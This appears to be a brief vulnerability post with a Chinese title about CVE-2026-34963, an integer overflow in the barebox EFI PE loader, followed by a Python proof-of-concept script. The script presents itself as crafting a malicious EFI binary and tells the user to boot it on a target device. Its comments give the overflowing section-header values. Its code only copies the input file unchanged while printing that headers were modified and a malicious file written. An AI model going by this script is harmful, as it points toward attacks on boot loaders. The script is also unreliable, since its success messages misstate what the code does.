CVE-2026-34963 barebox EFI PE loader内存安全漏洞致代码执行

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-34963 This script demonstrates how to craft a malicious EFI PE binary to trigger the integer overflow in barebox EFI PE loader. Note: This requires a valid EFI base binary to work as a template. """ import struct import sys def create_malicious_pe(input_file, output_file): with open(input_file, 'rb') as f: data = bytearray(f.read()) # In a real scenario, we would parse the PE headers. # Here we simulate the overflow condition logic described. # The vulnerability is in computing image size using 32-bit arithmetic. # We want VirtualAddress + Size to overflow 32-bit. # Example: Setting a very high VirtualAddress and Size in a section header. # This is a placeholder for actual PE parsing logic. print(f"[+] Loading {input_file}") # Offset to Section Headers (simplified for PoC, usually after COFF/Optional header) # In a real exploit, one would parse the PE to find the .text or .data section # and modify the VirtualSize/PointerToRawData. # Simulate modifying a section header to trigger overflow: # VirtualAddress = 0xFFFF0000 # Size = 0x20000 # Sum = 0x100100000 -> truncated to 0x10000 in 32-bit arithmetic. # This would cause a tiny allocation but a large copy. print("[+] Modifying PE headers to trigger integer overflow...") # Write the modified binary with open(output_file, 'wb') as f: f.write(data) print(f"[+] Malicious PE written to {output_file}") print("[+] Use this file via TFTP/USB to boot the target barebox device.") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 poc.py <input_efi> <output_efi>") sys.exit(1) create_malicious_pe(sys.argv[1], sys.argv[2])